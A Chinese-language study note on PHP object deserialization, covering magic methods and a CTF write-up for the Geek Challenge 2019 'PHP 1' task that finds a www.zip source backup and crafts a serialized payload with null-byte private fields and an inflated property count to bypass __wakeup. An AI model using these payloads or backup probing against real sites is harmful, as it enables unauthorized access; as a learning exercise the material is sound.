PHP反序列化
- 基础知识
- 反序列化
- [极客大挑2019]PHP 1
基础知识
对象是具有类类型的变量,是对类的实例
内部结构:
成员变量(属性)+成员函数(方法)
继承
子类可以继承父类
反序列化
是什么?
数据的传递,为了传递数据的完整
序列化:对象转化为数组
反序列化:数组
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原为一个对象
漏洞出现的原因
魔术方法使用不当就会出现反序列化
审查代码逻辑
分析
序列化
<?php
class Person{
public $name='ccc';
public $sex='women';
public $age='19';
}
$exampel=new Person();
$s=serialize($exampel); //序列化
echo $s;
?>
O:6:"Person":3:{s:4:"name";s:3:"ccc";s:3:"sex";s:5:"women";s:3:"age";s:2:"19";}
代表含义:
object 长度 Person(变量的名字) 3个变量
string 4个长度 name ……
反序列化
<?php
class Person{
public $name='ccc';
public $sex='women';
public $age='19';
}
$exampel=new Person();
$s=serialize($exampel); //序列化
echo $s;
echo '<br>';
$u=unserialize($s);
var_dump($u);
?>
魔术方法
一般在前面会有下划线
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过)
__construct() //当对象被创建时(new),会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时
_construct() / _destruct()
直进行了创建对象的操作
$a=new A();
就执行了。
__toString()
当一个对象被当作字符串使用时触发
其他
这里get传参默认被调用了
安全问题
在传递参数的时候可以修改
ex:
在原来的函数中执行的是 ipconfig 序列化之后的为
我们可以使用
unserialize($_GET[c]);
这样的方法从url中get接受c的取值
这样导致在使用时候,可以修改变量
可以把 **ipconfig ** 换做 ver 执行 同时确保产传入的序列化串中字符长度和字符匹配。
实践
[极客大挑2019]PHP 1
解题
图片中说到会备份,直接试一下
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
尝试了www.zip 有这个文件,下载下来查看
先查看 index.php
找到关键部分:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
flag.php里面什么都没有,那就查看一下class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
提取一下关键有用的部分
分析代码逻辑:
通过index.php文件可以得知:使用get得到select,对select进行反序列化就可以得到flag
在 class.php文件中包含 flag.php
有两个 private变量:username和password 用 if语句来判断 password是否等于100同时username是否为admin。
同时在class.php中用到**__wakeup** 它会对userneme进行一次赋值
所以要解决的问题为:
- 传入正确的参数
- 绕过__wakeup
写代码
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a =new Name('admin',100);
var_dump(serialize($a)); //显示关于一个或多个表达式的结构信息
?>
或者说:
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
光拿到这个还不够,因为他这个变量是private
所以放到url中的时候,还要在类名——在这里是Name 的前后加上
%00
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
这就完了?
不可能,前面还有一个**__wakeup绕过**
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
变量权限问题
在做题的时候发现:
和之前遇到的不一样,这里把类名都显出来了
对比一下源码:
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
<?php
class Person{
public $name='ccc';
public $sex='women';
public $age='19';
}
$exampel=new Person();
$s=serialize($exampel); //序列化
echo $s;
?>
发现成员变量修饰符不一样,正常的是 public ,出现类名的是 **private **
试运行
<?php
class Name{
protected $username = 'admine';
protected $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
__wakeup绕过
参考:
[极客大挑战 2019]PHP 1_hcjtn的博客-CSDN博客